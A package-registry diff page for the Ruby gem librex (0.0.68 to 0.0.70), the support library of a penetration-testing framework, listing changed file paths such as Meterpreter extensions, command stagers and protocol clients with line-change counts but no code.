librex 0.0.68 → 0.0.70
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +15 -0
- data/README.markdown +1 -1
- data/Rakefile +18 -16
- data/lib/rex.rb +14 -10
- data/lib/rex/LICENSE +2 -2
- data/lib/rex/arch.rb +76 -76
- data/lib/rex/arch/sparc.rb +57 -58
- data/lib/rex/arch/x86.rb +506 -496
- data/lib/rex/assembly/nasm.rb +83 -84
- data/lib/rex/compat.rb +228 -173
- data/lib/rex/constants.rb +47 -37
- data/lib/rex/elfparsey.rb +0 -3
- data/lib/rex/elfparsey/elf.rb +107 -110
- data/lib/rex/elfparsey/elfbase.rb +244 -247
- data/lib/rex/elfparsey/exceptions.rb +0 -3
- data/lib/rex/elfscan.rb +0 -3
- data/lib/rex/elfscan/scanner.rb +184 -166
- data/lib/rex/elfscan/search.rb +35 -38
- data/lib/rex/encoder/alpha2.rb +1 -2
- data/lib/rex/encoder/alpha2/alpha_mixed.rb +52 -53
- data/lib/rex/encoder/alpha2/alpha_upper.rb +62 -63
- data/lib/rex/encoder/alpha2/generic.rb +77 -78
- data/lib/rex/encoder/alpha2/unicode_mixed.rb +101 -97
- data/lib/rex/encoder/alpha2/unicode_upper.rb +106 -107
- data/lib/rex/encoder/bloxor/bloxor.rb +326 -0
- data/lib/rex/encoder/ndr.rb +68 -68
- data/lib/rex/encoder/nonalpha.rb +50 -51
- data/lib/rex/encoder/nonupper.rb +50 -51
- data/lib/rex/encoder/xdr.rb +78 -78
- data/lib/rex/encoder/xor.rb +52 -53
- data/lib/rex/encoder/xor/dword.rb +1 -2
- data/lib/rex/encoder/xor/dword_additive.rb +1 -2
- data/lib/rex/encoders/xor_dword.rb +17 -18
- data/lib/rex/encoders/xor_dword_additive.rb +35 -36
- data/lib/rex/encoding/xor.rb +0 -1
- data/lib/rex/encoding/xor/byte.rb +3 -4
- data/lib/rex/encoding/xor/dword.rb +3 -4
- data/lib/rex/encoding/xor/dword_additive.rb +72 -73
- data/lib/rex/encoding/xor/exceptions.rb +2 -3
- data/lib/rex/encoding/xor/generic.rb +129 -130
- data/lib/rex/encoding/xor/qword.rb +3 -4
- data/lib/rex/encoding/xor/word.rb +3 -4
- data/lib/rex/exceptions.rb +100 -101
- data/lib/rex/exploitation/cmdstager.rb +3 -3
- data/lib/rex/exploitation/cmdstager/base.rb +170 -156
- data/lib/rex/exploitation/cmdstager/bourne.rb +105 -0
- data/lib/rex/exploitation/cmdstager/debug_asm.rb +110 -113
- data/lib/rex/exploitation/cmdstager/debug_write.rb +106 -109
- data/lib/rex/exploitation/cmdstager/echo.rb +164 -0
- data/lib/rex/exploitation/cmdstager/printf.rb +122 -0
- data/lib/rex/exploitation/cmdstager/tftp.rb +34 -27
- data/lib/rex/exploitation/cmdstager/vbs.rb +95 -98
- data/lib/rex/exploitation/egghunter.rb +359 -346
- data/lib/rex/exploitation/encryptjs.rb +60 -60
- data/lib/rex/exploitation/heaplib.rb +76 -76
- data/lib/rex/exploitation/js.rb +6 -0
- data/lib/rex/exploitation/js/detect.rb +69 -0
- data/lib/rex/exploitation/js/memory.rb +81 -0
- data/lib/rex/exploitation/js/network.rb +84 -0
- data/lib/rex/exploitation/js/utils.rb +33 -0
- data/lib/rex/exploitation/jsobfu.rb +448 -424
- data/lib/rex/exploitation/obfuscatejs.rb +301 -301
- data/lib/rex/exploitation/omelet.rb +257 -257
- data/lib/rex/exploitation/opcodedb.rb +699 -699
- data/lib/rex/exploitation/ropdb.rb +189 -0
- data/lib/rex/exploitation/seh.rb +68 -68
- data/lib/rex/file.rb +96 -49
- data/lib/rex/image_source.rb +0 -3
- data/lib/rex/image_source/disk.rb +45 -48
- data/lib/rex/image_source/image_source.rb +33 -36
- data/lib/rex/image_source/memory.rb +17 -20
- data/lib/rex/io/bidirectional_pipe.rb +118 -115
- data/lib/rex/io/datagram_abstraction.rb +13 -14
- data/lib/rex/io/ring_buffer.rb +273 -273
- data/lib/rex/io/stream.rb +284 -284
- data/lib/rex/io/stream_abstraction.rb +183 -181
- data/lib/rex/io/stream_server.rb +193 -193
- data/lib/rex/job_container.rb +167 -167
- data/lib/rex/logging.rb +0 -1
- data/lib/rex/logging/log_dispatcher.rb +113 -113
- data/lib/rex/logging/log_sink.rb +17 -17
- data/lib/rex/logging/sinks/flatfile.rb +36 -36
- data/lib/rex/logging/sinks/stderr.rb +27 -27
- data/lib/rex/mac_oui.rb +16572 -16571
- data/lib/rex/machparsey.rb +0 -1
- data/lib/rex/machparsey/exceptions.rb +0 -1
- data/lib/rex/machparsey/mach.rb +160 -161
- data/lib/rex/machparsey/machbase.rb +367 -368
- data/lib/rex/machscan.rb +0 -1
- data/lib/rex/machscan/scanner.rb +175 -176
- data/lib/rex/mime/encoding.rb +17 -0
- data/lib/rex/mime/header.rb +58 -58
- data/lib/rex/mime/message.rb +140 -137
- data/lib/rex/mime/part.rb +41 -12
- data/lib/rex/nop/opty2.rb +90 -90
- data/lib/rex/nop/opty2_tables.rb +273 -273
- data/lib/rex/ole.rb +0 -4
- data/lib/rex/ole/clsid.rb +26 -30
- data/lib/rex/ole/difat.rb +121 -125
- data/lib/rex/ole/directory.rb +205 -209
- data/lib/rex/ole/direntry.rb +217 -221
- data/lib/rex/ole/fat.rb +79 -83
- data/lib/rex/ole/header.rb +178 -182
- data/lib/rex/ole/minifat.rb +49 -53
- data/lib/rex/ole/propset.rb +113 -117
- data/lib/rex/ole/samples/create_ole.rb +8 -9
- data/lib/rex/ole/samples/dir.rb +10 -11
- data/lib/rex/ole/samples/dump_stream.rb +14 -15
- data/lib/rex/ole/samples/ole_info.rb +5 -6
- data/lib/rex/ole/storage.rb +372 -376
- data/lib/rex/ole/stream.rb +33 -37
- data/lib/rex/ole/substorage.rb +20 -24
- data/lib/rex/ole/util.rb +137 -141
- data/lib/rex/parser/acunetix_nokogiri.rb +398 -398
- data/lib/rex/parser/apple_backup_manifestdb.rb +116 -116
- data/lib/rex/parser/appscan_nokogiri.rb +359 -359
- data/lib/rex/parser/arguments.rb +88 -88
- data/lib/rex/parser/burp_session_nokogiri.rb +258 -258
- data/lib/rex/parser/ci_nokogiri.rb +184 -184
- data/lib/rex/parser/foundstone_nokogiri.rb +334 -333
- data/lib/rex/parser/fusionvm_nokogiri.rb +94 -94
- data/lib/rex/parser/ini.rb +167 -167
- data/lib/rex/parser/ip360_aspl_xml.rb +84 -84
- data/lib/rex/parser/ip360_xml.rb +77 -77
- data/lib/rex/parser/mbsa_nokogiri.rb +224 -224
- data/lib/rex/parser/nessus_xml.rb +100 -100
- data/lib/rex/parser/netsparker_xml.rb +89 -75
- data/lib/rex/parser/nexpose_raw_nokogiri.rb +677 -677
- data/lib/rex/parser/nexpose_simple_nokogiri.rb +322 -322
- data/lib/rex/parser/nexpose_xml.rb +105 -105
- data/lib/rex/parser/nmap_nokogiri.rb +386 -386
- data/lib/rex/parser/nmap_xml.rb +116 -116
- data/lib/rex/parser/nokogiri_doc_mixin.rb +223 -221
- data/lib/rex/parser/openvas_nokogiri.rb +162 -162
- data/lib/rex/parser/outpost24_nokogiri.rb +239 -0
- data/lib/rex/parser/retina_xml.rb +90 -90
- data/lib/rex/parser/unattend.rb +171 -0
- data/lib/rex/parser/wapiti_nokogiri.rb +89 -89
- data/lib/rex/payloads/win32/common.rb +14 -14
- data/lib/rex/payloads/win32/kernel.rb +36 -36
- data/lib/rex/payloads/win32/kernel/common.rb +32 -32
- data/lib/rex/payloads/win32/kernel/recovery.rb +27 -27
- data/lib/rex/payloads/win32/kernel/stager.rb +170 -170
- data/lib/rex/peparsey.rb +0 -3
- data/lib/rex/peparsey/exceptions.rb +0 -3
- data/lib/rex/peparsey/pe.rb +196 -199
- data/lib/rex/peparsey/pe_memdump.rb +35 -38
- data/lib/rex/peparsey/pebase.rb +1633 -1652
- data/lib/rex/peparsey/section.rb +115 -124
- data/lib/rex/pescan.rb +0 -3
- data/lib/rex/pescan/analyze.rb +351 -351
- data/lib/rex/pescan/scanner.rb +182 -182
- data/lib/rex/pescan/search.rb +59 -59
- data/lib/rex/platforms/windows.rb +37 -37
- data/lib/rex/poly.rb +111 -110
- data/lib/rex/poly/block.rb +419 -417
- data/lib/rex/poly/machine.rb +12 -0
- data/lib/rex/poly/machine/machine.rb +829 -0
- data/lib/rex/poly/machine/x86.rb +508 -0
- data/lib/rex/poly/register.rb +70 -70
- data/lib/rex/poly/register/x86.rb +22 -22
- data/lib/rex/post.rb +0 -1
- data/lib/rex/post/dir.rb +35 -36
- data/lib/rex/post/file.rb +140 -141
- data/lib/rex/post/file_stat.rb +198 -199
- data/lib/rex/post/io.rb +167 -168
- data/lib/rex/post/meterpreter.rb +1 -1
- data/lib/rex/post/meterpreter/channel.rb +389 -390
- data/lib/rex/post/meterpreter/channel_container.rb +33 -34
- data/lib/rex/post/meterpreter/channels/pool.rb +129 -130
- data/lib/rex/post/meterpreter/channels/pools/file.rb +35 -36
- data/lib/rex/post/meterpreter/channels/pools/stream_pool.rb +72 -73
- data/lib/rex/post/meterpreter/channels/stream.rb +62 -63
- data/lib/rex/post/meterpreter/client.rb +442 -436
- data/lib/rex/post/meterpreter/client_core.rb +326 -310
- data/lib/rex/post/meterpreter/dependencies.rb +0 -1
- data/lib/rex/post/meterpreter/extension.rb +12 -13
- data/lib/rex/post/meterpreter/extensions/espia/espia.rb +35 -36
- data/lib/rex/post/meterpreter/extensions/extapi/adsi/adsi.rb +71 -0
- data/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +169 -0
- data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +45 -0
- data/lib/rex/post/meterpreter/extensions/extapi/service/service.rb +104 -0
- data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +77 -0
- data/lib/rex/post/meterpreter/extensions/extapi/window/window.rb +56 -0
- data/lib/rex/post/meterpreter/extensions/extapi/wmi/wmi.rb +75 -0
- data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb +70 -71
- data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +361 -0
- data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb +76 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb +78 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb +22 -78
- data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb +49 -0
- data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb +4 -4
- data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb +16 -0
- data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb +38 -39
- data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb +1 -1
- data/lib/rex/post/meterpreter/extensions/priv/fs.rb +95 -96
- data/lib/rex/post/meterpreter/extensions/priv/passwd.rb +39 -40
- data/lib/rex/post/meterpreter/extensions/priv/priv.rb +80 -85
- data/lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb +94 -95
- data/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +207 -147
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +258 -259
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +366 -301
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/file_stat.rb +72 -73
- data/lib/rex/post/meterpreter/extensions/stdapi/fs/io.rb +24 -25
- data/lib/rex/post/meterpreter/extensions/stdapi/net/arp.rb +59 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +227 -149
- data/lib/rex/post/meterpreter/extensions/stdapi/net/interface.rb +107 -108
- data/lib/rex/post/meterpreter/extensions/stdapi/net/netstat.rb +97 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb +106 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/net/route.rb +41 -42
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket.rb +102 -101
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_client_channel.rb +151 -152
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/tcp_server_channel.rb +142 -142
- data/lib/rex/post/meterpreter/extensions/stdapi/net/socket_subsystem/udp_channel.rb +185 -185
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +38118 -38117
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb +7 -7
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_advapi32.rb +2086 -2084
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_crypt32.rb +15 -15
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_iphlpapi.rb +80 -80
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3835 -3833
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +84 -28
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +151 -137
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_shell32.rb +15 -6
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_user32.rb +3155 -3155
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_version.rb +41 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wlanapi.rb +70 -70
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +128 -0
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ws2_32.rb +596 -596
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +310 -301
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb +71 -61
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb +100 -100
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb +14 -14
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/mock_magic.rb +488 -488
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +273 -264
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb +5 -5
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +240 -238
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/tlv.rb +17 -15
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +61 -61
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +654 -635
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb +49 -49
- data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +103 -102
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +98 -68
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log.rb +165 -166
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/event_log_subsystem/event_record.rb +16 -17
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +34 -36
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +363 -364
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/image.rb +102 -103
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/io.rb +28 -29
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/memory.rb +303 -304
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/process_subsystem/thread.rb +113 -114
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +260 -261
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +165 -166
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_value.rb +69 -70
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/remote_registry_key.rb +160 -161
- data/lib/rex/post/meterpreter/extensions/stdapi/sys/thread.rb +143 -144
- data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +29 -12
- data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +230 -231
- data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +181 -44
- data/lib/rex/post/meterpreter/inbound_packet_handler.rb +12 -13
- data/lib/rex/post/meterpreter/object_aliases.rb +56 -57
- data/lib/rex/post/meterpreter/packet.rb +591 -592
- data/lib/rex/post/meterpreter/packet_dispatcher.rb +506 -496
- data/lib/rex/post/meterpreter/packet_parser.rb +72 -73
- data/lib/rex/post/meterpreter/packet_response_waiter.rb +56 -57
- data/lib/rex/post/meterpreter/ui/console.rb +112 -112
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +53 -53
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +911 -854
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb +86 -86
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi.rb +65 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +198 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +444 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/service.rb +199 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/window.rb +118 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/wmi.rb +108 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/incognito.rb +220 -220
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +509 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks.rb +60 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +254 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/tftp.rb +159 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +182 -0
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/networkpug.rb +173 -173
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv.rb +40 -40
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +75 -77
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/passwd.rb +30 -30
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +105 -105
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/sniffer.rb +182 -182
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi.rb +37 -37
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +504 -482
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +401 -330
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +883 -581
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +296 -299
- data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +320 -153
- data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +78 -78
- data/lib/rex/post/permission.rb +0 -1
- data/lib/rex/post/process.rb +39 -40
- data/lib/rex/post/thread.rb +41 -42
- data/lib/rex/post/ui.rb +35 -36
- data/lib/rex/proto/addp.rb +218 -0
- data/lib/rex/proto/dcerpc/client.rb +344 -344
- data/lib/rex/proto/dcerpc/exceptions.rb +128 -128
- data/lib/rex/proto/dcerpc/handle.rb +32 -32
- data/lib/rex/proto/dcerpc/ndr.rb +56 -56
- data/lib/rex/proto/dcerpc/packet.rb +249 -245
- data/lib/rex/proto/dcerpc/response.rb +170 -170
- data/lib/rex/proto/dcerpc/uuid.rb +65 -65
- data/lib/rex/proto/dcerpc/wdscp.rb +3 -0
- data/lib/rex/proto/dcerpc/wdscp/constants.rb +89 -0
- data/lib/rex/proto/dcerpc/wdscp/packet.rb +94 -0
- data/lib/rex/proto/dhcp.rb +0 -1
- data/lib/rex/proto/dhcp/constants.rb +0 -1
- data/lib/rex/proto/dhcp/server.rb +303 -304
- data/lib/rex/proto/drda/constants.rb +1 -1
- data/lib/rex/proto/drda/packet.rb +186 -186
- data/lib/rex/proto/drda/utils.rb +104 -104
- data/lib/rex/proto/http.rb +1 -0
- data/lib/rex/proto/http/client.rb +692 -820
- data/lib/rex/proto/http/client_request.rb +472 -0
- data/lib/rex/proto/http/handler.rb +25 -25
- data/lib/rex/proto/http/handler/erb.rb +104 -104
- data/lib/rex/proto/http/handler/proc.rb +37 -37
- data/lib/rex/proto/http/header.rb +149 -149
- data/lib/rex/proto/http/packet.rb +388 -382
- data/lib/rex/proto/http/request.rb +332 -335
- data/lib/rex/proto/http/response.rb +132 -72
- data/lib/rex/proto/http/server.rb +348 -338
- data/lib/rex/proto/iax2/call.rb +310 -310
- data/lib/rex/proto/iax2/client.rb +197 -197
- data/lib/rex/proto/iax2/codecs/alaw.rb +4 -4
- data/lib/rex/proto/iax2/codecs/mulaw.rb +4 -4
- data/lib/rex/proto/ipmi.rb +57 -0
- data/lib/rex/proto/ipmi/channel_auth_reply.rb +88 -0
- data/lib/rex/proto/ipmi/open_session_reply.rb +35 -0
- data/lib/rex/proto/ipmi/rakp2.rb +35 -0
- data/lib/rex/proto/ipmi/utils.rb +125 -0
- data/lib/rex/proto/natpmp.rb +1 -5
- data/lib/rex/proto/natpmp/constants.rb +4 -4
- data/lib/rex/proto/natpmp/packet.rb +25 -25
- data/lib/rex/proto/ntlm/base.rb +271 -271
- data/lib/rex/proto/ntlm/constants.rb +61 -61
- data/lib/rex/proto/ntlm/crypt.rb +348 -352
- data/lib/rex/proto/ntlm/exceptions.rb +3 -3
- data/lib/rex/proto/ntlm/message.rb +468 -471
- data/lib/rex/proto/ntlm/utils.rb +746 -746
- data/lib/rex/proto/pjl.rb +30 -0
- data/lib/rex/proto/pjl/client.rb +162 -0
- data/lib/rex/proto/proxy/socks4a.rb +440 -440
- data/lib/rex/proto/rfb.rb +1 -8
- data/lib/rex/proto/rfb/cipher.rb +46 -49
- data/lib/rex/proto/rfb/client.rb +179 -182
- data/lib/rex/proto/rfb/constants.rb +18 -21
- data/lib/rex/proto/smb/client.rb +1954 -1843
- data/lib/rex/proto/smb/constants.rb +533 -516
- data/lib/rex/proto/smb/crypt.rb +21 -21
- data/lib/rex/proto/smb/evasions.rb +43 -43
- data/lib/rex/proto/smb/exceptions.rb +791 -791
- data/lib/rex/proto/smb/simpleclient.rb +142 -286
- data/lib/rex/proto/smb/simpleclient/open_file.rb +106 -0
- data/lib/rex/proto/smb/simpleclient/open_pipe.rb +57 -0
- data/lib/rex/proto/smb/utils.rb +81 -81
- data/lib/rex/proto/sunrpc/client.rb +158 -158
- data/lib/rex/proto/tftp.rb +0 -1
- data/lib/rex/proto/tftp/client.rb +289 -289
- data/lib/rex/proto/tftp/constants.rb +9 -10
- data/lib/rex/proto/tftp/server.rb +466 -467
- data/lib/rex/random_identifier_generator.rb +176 -0
- data/lib/rex/registry.rb +1 -1
- data/lib/rex/registry/hive.rb +88 -88
- data/lib/rex/registry/lfkey.rb +25 -25
- data/lib/rex/registry/nodekey.rb +30 -30
- data/lib/rex/registry/regf.rb +10 -10
- data/lib/rex/registry/valuekey.rb +43 -43
- data/lib/rex/registry/valuelist.rb +13 -13
- data/lib/rex/ropbuilder/rop.rb +254 -253
- data/lib/rex/script.rb +21 -22
- data/lib/rex/script/base.rb +51 -50
- data/lib/rex/script/meterpreter.rb +2 -2
- data/lib/rex/service.rb +24 -24
- data/lib/rex/service_manager.rb +132 -132
- data/lib/rex/services/local_relay.rb +398 -398
- data/lib/rex/socket.rb +758 -763
- data/lib/rex/socket/comm.rb +95 -95
- data/lib/rex/socket/comm/local.rb +507 -440
- data/lib/rex/socket/ip.rb +118 -118
- data/lib/rex/socket/parameters.rb +351 -350
- data/lib/rex/socket/range_walker.rb +445 -368
- data/lib/rex/socket/ssl_tcp.rb +323 -317
- data/lib/rex/socket/ssl_tcp_server.rb +173 -158
- data/lib/rex/socket/subnet_walker.rb +48 -48
- data/lib/rex/socket/switch_board.rb +259 -259
- data/lib/rex/socket/tcp.rb +58 -56
- data/lib/rex/socket/tcp_server.rb +42 -42
- data/lib/rex/socket/udp.rb +152 -152
- data/lib/rex/sslscan/result.rb +200 -0
- data/lib/rex/sslscan/scanner.rb +205 -0
- data/lib/rex/struct2.rb +0 -1
- data/lib/rex/struct2/c_struct.rb +162 -163
- data/lib/rex/struct2/c_struct_template.rb +21 -22
- data/lib/rex/struct2/constant.rb +6 -7
- data/lib/rex/struct2/element.rb +30 -31
- data/lib/rex/struct2/generic.rb +60 -61
- data/lib/rex/struct2/restraint.rb +40 -41
- data/lib/rex/struct2/s_string.rb +60 -61
- data/lib/rex/struct2/s_struct.rb +97 -98
- data/lib/rex/sync.rb +0 -1
- data/lib/rex/sync/event.rb +62 -72
- data/lib/rex/sync/read_write_lock.rb +149 -149
- data/lib/rex/sync/ref.rb +42 -42
- data/lib/rex/sync/thread_safe.rb +59 -59
- data/lib/rex/text.rb +1803 -1315
- data/lib/rex/thread_factory.rb +25 -25
- data/lib/rex/time.rb +44 -44
- data/lib/rex/transformer.rb +91 -91
- data/lib/rex/ui/interactive.rb +265 -265
- data/lib/rex/ui/output.rb +66 -60
- data/lib/rex/ui/progress_tracker.rb +79 -79
- data/lib/rex/ui/subscriber.rb +144 -134
- data/lib/rex/ui/text/color.rb +76 -76
- data/lib/rex/ui/text/dispatcher_shell.rb +512 -505
- data/lib/rex/ui/text/input.rb +96 -96
- data/lib/rex/ui/text/input/buffer.rb +58 -58
- data/lib/rex/ui/text/input/readline.rb +114 -114
- data/lib/rex/ui/text/input/socket.rb +77 -77
- data/lib/rex/ui/text/input/stdio.rb +24 -24
- data/lib/rex/ui/text/irb_shell.rb +45 -41
- data/lib/rex/ui/text/output.rb +64 -60
- data/lib/rex/ui/text/output/buffer.rb +42 -42
- data/lib/rex/ui/text/output/buffer/stdout.rb +25 -0
- data/lib/rex/ui/text/output/file.rb +24 -24
- data/lib/rex/ui/text/output/socket.rb +24 -24
- data/lib/rex/ui/text/output/stdio.rb +29 -29
- data/lib/rex/ui/text/output/tee.rb +36 -36
- data/lib/rex/ui/text/progress_tracker.rb +37 -37
- data/lib/rex/ui/text/shell.rb +371 -361
- data/lib/rex/ui/text/table.rb +320 -284
- data/lib/rex/zip.rb +0 -1
- data/lib/rex/zip/archive.rb +115 -94
- data/lib/rex/zip/blocks.rb +101 -100
- data/lib/rex/zip/entry.rb +108 -99
- data/lib/rex/zip/jar.rb +261 -206
- data/lib/rex/zip/samples/comment.rb +1 -2
- data/lib/rex/zip/samples/mkwar.rb +12 -13
- data/lib/rex/zip/samples/mkzip.rb +1 -2
- data/lib/rex/zip/samples/recursive.rb +29 -30
- metadata +424 -446
- data/lib/rex/arch/sparc.rb.ut.rb +0 -19
- data/lib/rex/arch/x86.rb.ut.rb +0 -94
- data/lib/rex/assembly/nasm.rb.ut.rb +0 -23
- data/lib/rex/encoder/ndr.rb.ut.rb +0 -45
- data/lib/rex/encoder/xdr.rb.ut.rb +0 -30
- data/lib/rex/encoders/xor_dword_additive.rb.ut.rb +0 -13
- data/lib/rex/encoding/xor.rb.ts.rb +0 -15
- data/lib/rex/encoding/xor/byte.rb.ut.rb +0 -22
- data/lib/rex/encoding/xor/dword.rb.ut.rb +0 -16
- data/lib/rex/encoding/xor/dword_additive.rb.ut.rb +0 -16
- data/lib/rex/encoding/xor/generic.rb.ut.rb +0 -121
- data/lib/rex/encoding/xor/word.rb.ut.rb +0 -14
- data/lib/rex/exceptions.rb.ut.rb +0 -45
- data/lib/rex/exploitation/egghunter.rb.ut.rb +0 -28
- data/lib/rex/exploitation/javascriptosdetect.js +0 -1014
- data/lib/rex/exploitation/javascriptosdetect.rb +0 -43
- data/lib/rex/exploitation/omelet.rb.ut.rb +0 -27
- data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -280
- data/lib/rex/exploitation/seh.rb.ut.rb +0 -20
- data/lib/rex/file.rb.ut.rb +0 -17
- data/lib/rex/io/ring_buffer.rb.ut.rb +0 -135
- data/lib/rex/nop/opty2.rb.ut.rb +0 -24
- data/lib/rex/parser/arguments.rb.ut.rb +0 -68
- data/lib/rex/parser/ini.rb.ut.rb +0 -30
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +0 -18
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +0 -39
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +0 -37
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb.ut.rb +0 -52
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +0 -43
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +0 -128
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb.ut.rb +0 -64
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb +0 -29
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb +0 -155
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb +0 -128
- data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +0 -124
- data/lib/rex/proto.rb.ts.rb +0 -9
- data/lib/rex/proto/dcerpc.rb.ts.rb +0 -10
- data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -492
- data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -86
